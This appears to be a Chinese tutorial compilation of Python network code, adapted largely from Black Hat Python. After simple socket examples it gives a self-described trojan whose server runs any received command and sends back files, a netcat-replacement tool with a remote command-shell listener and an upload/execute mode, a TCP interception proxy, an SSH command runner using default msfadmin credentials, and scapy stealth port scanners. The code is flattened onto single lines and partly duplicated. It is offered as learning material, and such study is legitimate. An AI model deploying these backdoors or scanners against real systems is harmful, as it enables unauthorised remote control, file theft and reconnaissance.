简单的网络通信
1.客户端:
# -*- coding: UTF-8 -*- import socket import sys #测试类 class Client: def __init__(self,host): self.host=host #待连接的远程主机的域名 def connet(self): #连接方法 try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) except socket.error as e: print("Failed to create socket. Error: %s"%e) sys.exit() #退出进程 def connet(self): #连接方法 try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) except socket.error as e: print("Failed to create socket. Error: %s"%e) sys.exit() #退出进程 try: remote_ip = socket.gethostbyname(self.host)#根据域名获取ip except socket.gaierror: print('主机无法被解析') sys.exit() #退出进程 try: s.connect((remote_ip,80))#连接 message = b"GET / HTTP/1.1 " s.sendall(message)#发送数据 reply = s.recv(4096)#接收数据 print(reply) s.close()#关闭连接 except socket.error: sys.exit() #退出进程 if __name__ == '__main__': cl = Client('www.baidu.com') cl.connet()
2.服务端
# -*- coding: UTF-8 -*- import socket import sys class server: def __init__(self,ip,port): self.port=port self.ip=ip def start(self): s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)#创建socket try: s.bind((self.ip,self.port))#绑定 s.listen(10)#监听 print('等待客户端连接') conn, addr = s.accept()#接收连接 print('客户端连接 ' + addr[0] + ':' + str(addr[1])) data = conn.recv(1024)#接收数据 print("客户端数据:%s"%data) conn.sendall(bytes("你好客户端 ", encoding = "utf8"))#发送数据 conn.close()#关闭连接 except socket.error as e: print(e) sys.exit() finally: s.close() #关闭服务端 if __name__ == '__main__': s = server('',8800) s.start()
TCP/客户端与服务端基础
TCP客户端:
#coding=utf-8 import socket target_host = "www.baidu.com" target_port = 80 #建立一个socket对象 client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #连接客户端 client.connect((target_host,target_port)) #发送一些数据 client.send("GET / HTTP/1.1 Host: baidu.com ") #接收一些数据 response = client.recv(4096) print response
TCP服务端: 这里需要先调用bind()函数绑定IP和端口,然后通过调用listen()函数启动监听并将最大连接数设为5。
#!/usr/bin/python #coding=utf-8 import socket import threading bind_ip = "0.0.0.0" bind_port = 1234 server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) server.bind((bind_ip,bind_port)) server.listen(5) print '[*] Listening on %s:%d'%(bind_ip,bind_port) #客户处理线程 def handle_client(client_socket): #打印客户端发送得到的消息 request = client_socket.recv(1024) print "[*] Received: %s"%request #返回一个数据包 client_socket.send("ACK!") client_socket.close() while True: client, addr = server.accept() print "[*] Accepted connection from: %s:%d"%(addr[0],addr[1]) #挂起客户端线程,处理传入数据 client_handler = threading.Thread(target=handle_client,args=(client,)) client_handler.start()
TCP 实现一个简单的木马
TCP客户端代码
# -*- coding: UTF-8 -*- import socket import sys import re import os class Client: def __init__(self,serverIp,serverPort): self.serverIp=serverIp #待连接的远程主机的域名 self.serverPort = serverPort self.bufferSize = 10240 def connet(self): #连接方法 try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) except socket.error as e: print("Failed to create socket. Error: %s"%e) try: s.connect((self.serverIp,self.serverPort)) while True: message = input('> ')#接收用户输入 if not message: break s.send(bytes(message, 'utf-8'))#发送命令 data = s.recv(self.bufferSize)#接收数据 if not data: break if re.search("^0001",data.decode('utf-8','ignore')):#判断数据类型 print(data.decode('utf-8')[4:]) else:#文件内容处理 s.send("File size received".encode())#通知服务端可以发送文件了 file_total_size = int(data.decode())#总大小 received_size = 0 f = open("new" +os.path.split(message)[-1], "wb")#创建文件 while received_size < file_total_size: data = s.recv(self.bufferSize) f.write(data)#写文件 received_size += len(data)#累加接收长度 print("已接收:", received_size) f.close()#关闭文件 print("receive done", file_total_size, " ", received_size) except socket.error: s.close() raise #退出进程 finally: s.close() if __name__ == '__main__': cl = Client('127.0.0.1',8800) cl.connet() sys.exit() #退出进程
TCP服务端代码
# -*- coding: UTF-8 -*- import socket import sys import os class server: def __init__(self, ip, port): self.port = port self.ip = ip self.bufferSize = 10240 def start(self): # 启动监听,接收数据 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.bind((self.ip, self.port)) # 绑定 s.listen(10) # 监听 print('等待客户端连接') while True: # 一直等待新的连接 try: conn, addr = s.accept() # 接收连接 print('客户端连接 ' + addr[0] + ':' + str(addr[1])) while True: # 不知道客户端发送数据大小,循环接收 data = conn.recv(self.bufferSize) if not data: break else: self.executeCommand(conn,data) conn.close() except socket.error as e: print(e) conn.close() # 关闭连接 finally: s.close() # 关闭服务端 def executeCommand(self, tcpCliSock, data): # 解析并执行命令 try:# message = data.decode("utf-8") if os.path.isfile(message):#判断是否是文件 filesize = str(os.path.getsize(message))#获取文件大小 print("文件大小为:",filesize) tcpCliSock.send(filesize.encode())#发送文件大小 data = tcpCliSock.recv(self.bufferSize) print("开始发送") f = open(message, "rb")#打开文件 for line in f: tcpCliSock.send(line)#发送文件内容 else: tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8')) except: raise if __name__ == '__main__': s = server('', 8800) s.start()
取代netcat
#!/usr/bin/python #coding=utf-8 import sys import socket import getopt import threading import subprocess #定义一些全局变量 listen = False command = False upload = False execute = "" target = "" upload_destination = "" port = 0 #使用帮助 def usage(): print "BHP Net Tool" print print "Usage: bhpnet.py -t target_host - p port" print "-l --listen - listen on [host]:[port] for incoming connections" print "-e --execute=file_to_run -execute the given file upon receiving a connection" print "-c --command - initialize a commandshell" print "-u --upload=destination - upon receiving connection upload a file and write to [destination]" print print print "Examples:" print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c" print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\target.exe" print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e="cat /etc/passwd"" print "echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135" sys.exit(0) def client_sender(buffer): client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: #连接到目标主机 client.connect((target,port)) if len(buffer): client.send(buffer) while True: #现在等待数据回传 recv_len = 1 response = "" while recv_len: data = client.recv(4096) recv_len = len(data) response += data if recv_len < 4096: break print response, #等待更多的输入 buffer = raw_input("") buffer += " " #发送出去 client.send(buffer) except: print "[*] Exception! Exiting. " #关闭连接 client.close() def server_loop(): global target #如果没有定义目标,那么我们监听所有的接口 if not len(target): target = "0.0.0.0" server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) server.bind((target,port)) server.listen(5) while True: client_socket, addr = server.accept() #分拆一个线程处理新的客户端 client_thread = threading.Thread(target=client_handler,args=(client_socket,)) client_thread.start() def run_command(command): #换行 command = command.rstrip() #运行命令并将输出返回 try: output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True) except: output = "Failed to execute command. " #将输出发送 return output def client_handler(client_socket): global upload global execute global command #检测上传文件 if len(upload_destination): #读取所有的字符并写下目标 file_buffer = "" #持续读取数据直到没有符合的数据 while True: data = client_socket.recv(1024) if not data: break else: file_buffer += data #现在我们接收这些数据并将他们写出来 try: file_descriptor = open(upload_destination,"wb") file_descriptor.write(file_buffer) file_descriptor.close() #确认文件已经写出来 client_socket.send("Successfully saved file to %s "%upload_destination) except: client_socket.send("Failed to save file to %s "%upload_destination) #检查命令执行 if len(execute): #运行命令 output = run_command(execute) client_socket.send(output) #如果需要一个命令行shell,那么我们进入另一个循环 if command: while True: #跳出一个窗口 client_socket.send("<BHP:#> ") #现在我们接收文件直到发现换行符(enter key) cmd_buffer = "" while " " not in cmd_buffer: cmd_buffer += client_socket.recv(1024) #返还命令输出 response = run_command(cmd_buffer) #返回响应数据 client_socket.send(response) def main(): global listen global port global execute global command global upload_destination global target if not len(sys.argv[1:]): usage() #读取命令行选项 try: opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help", "listen", "execute", "target", "port", "command", "upload"]) except getopt.GetoptError as err: print str(err) usage() for o,a in opts: if o in ("-h","--help"): usage() elif o in ("-l","--listen"): listen = True elif o in ("-e","--execute"): execute = a elif o in ("-c","--commandshell"): command = True elif o in ("-u","--upload"): upload_destination = a elif o in ("-t","--target"): target = a elif o in ("-p","--port"): port = int(a) else: assert False,"Unhandled Option" #我们是进行监听还是仅从标准输入发送数据? if not listen and len(target) and port > 0 : #从命令行读取内存数据 #这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D buffer = sys.stdin.read() #发送数据 client_sender(buffer) #我们开始监听并准备上传文件、执行命令 #放置一个反弹shell #取决于上面的命令行选项 if listen: server_loop() main()
创建一个TCP代理
#!/usr/bin/python #coding=utf-8 import socket import sys import threading def server_loop(local_host,local_port,remote_host,remote_port,receive_first): server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: server.bind((local_host,local_port)) except: print "[!!] Failed to listen on %s:%d"%(local_host,local_port) print "[!!] Check for other listening sockets or correct permissions. " sys.exit(0) print "[*] Listening on %s:%d"%(local_host,local_port) server.listen(5) while True: client_socket, addr = server.accept() # 打印出本地连接信息 print "[==>] Received incoming connection from %s:%d"%(addr[0],addr[1]) # 开启一个线程与远程主机通信 proxy_thread = threading.Thread(target=proxy_handler,args=(client_socket,remote_host,remote_port,receive_first)) proxy_thread.start() def proxy_handler(client_socket,remote_host,remote_port,receive_first): # 连接远程主机 remote_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM) remote_socket.connect((remote_host,remote_port)) # 如果必要从远程主机接收数据 if receive_first: remote_buffer = receive_from(remote_socket) hexdump(remote_buffer) # 发送给我们的响应数据 remote_buffer = response_handler(remote_buffer) # 如果我们有数据传递给本地客户端,发送它 if len(remote_buffer): print "[<==] Sending %d bytes to localhost. "%len(remote_buffer) client_socket.send(remote_buffer) # 现在我们从本地循环读取数据,发送给远程主机和本地主机 while True: # 从本地读取主机 local_buffer = receive_from(client_socket) if len(local_buffer): print "[==>] Received %d bytes from localhost. "%len(local_buffer) hexdump(local_buffer) # 发送给我们的本地请求 local_buffer = request_handler(local_buffer) # 向远程主机发送数据 remote_socket.send(local_buffer) print "[==>] Sent to remote ." # 接受响应的数据 remote_buffer = receive_from(remote_socket) if len(remote_buffer): print "[<==] Received %d bytes from remote . "%len(remote_buffer) hexdump(remote_buffer) # 发送到响应处理函数 remote_buffer = response_handler(remote_buffer) # 将响应发送给本地socket client_socket.send(remote_buffer) print "[<==] Sent to localhost. " # 如果两边都没有数据,关闭连接 if not len(local_buffer) or not len(remote_buffer): client_socket.close() remote_socket.close() print "[*] No more data. Closing cnnections. " break # 十六进制导出函数 def hexdump(src,length=16): result = [] digits = 4 if isinstance(src,unicode) else 2 for i in xrange(0,len(src),length): s = src[i:i+length] hexa = b' '.join(["%0*X" % (digits,ord(x)) for x in s]) text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s]) result.append( b"%04X %-*s %s" % (i,length*(digits + 1),hexa,text)) print b' '.join(result) def receive_from(connection): buffer = "" # 我们设置了两秒的超时,这取决于目标的情况,可能需要调整 connection.settimeout(2) try: # 持续从缓存中读取数据直到没有数据或超时 while True: data = connection.recv(4096) if not data: break buffer += data except: pass return buffer # 对目标是远程主机的请求进行修改 def request_handler(buffer): # 执行包修改 return buffer # 对目标是本地主机的响应进行修改 def response_handler(buffer): # 执行包修改 return buffer def main(): # 没有华丽的命令行解析 if len(sys.argv[1:]) != 5: print "Usage : ./tcp_agent.py [localhost] [localport] [remotehost] [remoteport] [receive_first] " print "Example : ./tcp_agent.py 127.0.0.1 9000 10.12.132.1 9000 True" sys.exit(0) # 设置本地监听参数 local_host = sys.argv[1] local_port = int(sys.argv[2]) # 设置远程目标 remote_host = sys.argv[3] remote_port = int(sys.argv[4]) # 告诉代理在发送给远程主机之前连接和接收数据 receive_first = sys.argv[5] if "True" in receive_first: receive_first = True else: receive_first = False # 现在设置好我们的监听socket server_loop(local_host,local_port,remote_host,remote_port,receive_first) main()
通过Paramiko使用SSH
#!/usr/bin/python import paramiko import threading import subprocess def ssh_command(ip,user,passwd,command): client = paramiko.SSHClient() #client.load_host_keys('/home/justin/.ssh/known_hosts') client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(ip,username=user,password=passwd) ssh_session = client.get_transport().open_session() if ssh_session.active: ssh_session.exec_command(command) print ssh_session.recv(1024) return ssh_command('10.10.10.128','msfadmin','msfadmin','uname -a')
其他扫描方式收藏
import argparse from scapy.all import * #答疑端口状态 def print_ports(port, state): print("%s | %s" % (port, state)) def tcpScan(target,ports): print("tcp全连接扫描 %s with ports %s" % (target, ports)) for port in ports: send=sr1(IP(dst=target)/TCP(dport=port,flags="S"),timeout=2,verbose=0) if (send is None): print_ports(port,"closed") elif send.haslayer("TCP"): print(send["TCP"].flags) if send["TCP"].flags == "SA": send_1 = sr1(IP(dst=target) / TCP(dport=port, flags="AR"), timeout=2, verbose=0) print_ports(port,"opend") elif send["TCP"].flags == "RA": print_ports(port,"closed") def synScan(target,ports): print("tcp SYN扫描 %s with ports %s" % (target, ports)) for port in ports: send=sr1(IP(dst=target)/TCP(dport=port,flags="S"),timeout=2,verbose=0) if (send is None): print_ports(port,"closed") elif send.haslayer("TCP"): print(send["TCP"].flags) if send["TCP"].flags == "SA": send_1 = sr1(IP(dst=target) / TCP(dport=port, flags="R"), timeout=2, verbose=0)#只修改这里 print_ports(port,"opend") elif send["TCP"].flags == "RA": print_ports(port,"closed") def ackScan(target,ports): print("tcp ack扫描 %s with ports %s" % (target, ports)) for port in ports: ack_flag_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="A"),timeout=5) print(str(type(ack_flag_scan_resp))) if (str(type(ack_flag_scan_resp))=="<class 'NoneType'>"): print_ports(port,"filtered") elif(ack_flag_scan_resp.haslayer(TCP)): if(ack_flag_scan_resp.getlayer(TCP).flags == "R"): print_ports(port,"unfiltered") elif(ack_flag_scan_resp.haslayer(ICMP)): if(int(ack_flag_scan_resp.getlayer(ICMP).type)==3 and int(ack_flag_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): print_ports(port,"filtered") else: print_ports(port,"filtered") def windowScan(target,ports): print("tcp window扫描 %s with ports %s" % (target, ports)) for port in ports: window_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="A"),timeout=5) print(str(type(window_scan_resp))) if (str(type(window_scan_resp))=="<class 'NoneType'>"): print_ports(port,"close") elif(window_scan_resp.haslayer(TCP)): if(window_scan_resp.getlayer(TCP).window == 0): print_ports(port,"close") elif(window_scan_resp.getlayer(TCP).window > 0): print_ports(port,"open") else: print_ports(port,"close") def nullScan(target,ports): print("tcp NULL 扫描 %s with ports %s" % (target, ports)) for port in ports: null_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags=""),timeout=5) if (str(type(null_scan_resp))=="<class 'NoneType'>"): print_ports(port,"Open|Filtered") elif(null_scan_resp.haslayer(TCP)): if(null_scan_resp.getlayer(TCP).flags == "R" or null_scan_resp.getlayer(TCP).flags == "A"): print_ports( port,"Closed") elif(null_scan_resp.haslayer(ICMP)): if(int(null_scan_resp.getlayer(ICMP).type)==3 and int(null_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): print_ports(port, "Filtered") def finScan(target,ports): print("tcp FIN 扫描 %s with ports %s" % (target, ports)) for port in ports: fin_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="F"),timeout=5) if (str(type(fin_scan_resp))=="<class 'NoneType'>"): print_ports(port, "Open|Filtered") elif(fin_scan_resp.haslayer(TCP)): if(fin_scan_resp.getlayer(TCP).flags == 0x14): print_ports(port, "Closed") elif(fin_scan_resp.haslayer(ICMP)): if(int(fin_scan_resp.getlayer(ICMP).type)==3 and int(fin_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): print_ports(port, "Filtered") def xmaxScan(target,ports): print("tcp xmax 扫描 %s with ports %s" % (target, ports)) for port in ports: fin_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="FPU"),timeout=5) if (str(type(fin_scan_resp))=="<class 'NoneType'>"): print_ports(port, "Open|Filtered") elif(fin_scan_resp.haslayer(TCP)): if(fin_scan_resp.getlayer(TCP).flags == "R"): print_ports(port, "Closed") elif(fin_scan_resp.haslayer(ICMP)): if(int(fin_scan_resp.getlayer(ICMP).type)==3 and int(fin_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): print_ports(port, "Filtered") def udpScan(target,ports): print("UDP 扫描 %s with ports %s" % (target, ports)) for port in ports: udp_scan_resp = sr1(IP(dst=target)/UDP(dport=port),timeout=5) if (str(type(udp_scan_resp))=="<class 'NoneType'>"): print_ports(port, "Open|Filtered") elif(udp_scan_resp.haslayer(UDP)): if(udp_scan_resp.getlayer(TCP).flags == "R"): print_ports(port, "Open") elif(udp_scan_resp.haslayer(ICMP)): if(int(udp_scan_resp.getlayer(ICMP).type)==3 and int(udp_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): print_ports(port, "Filtered")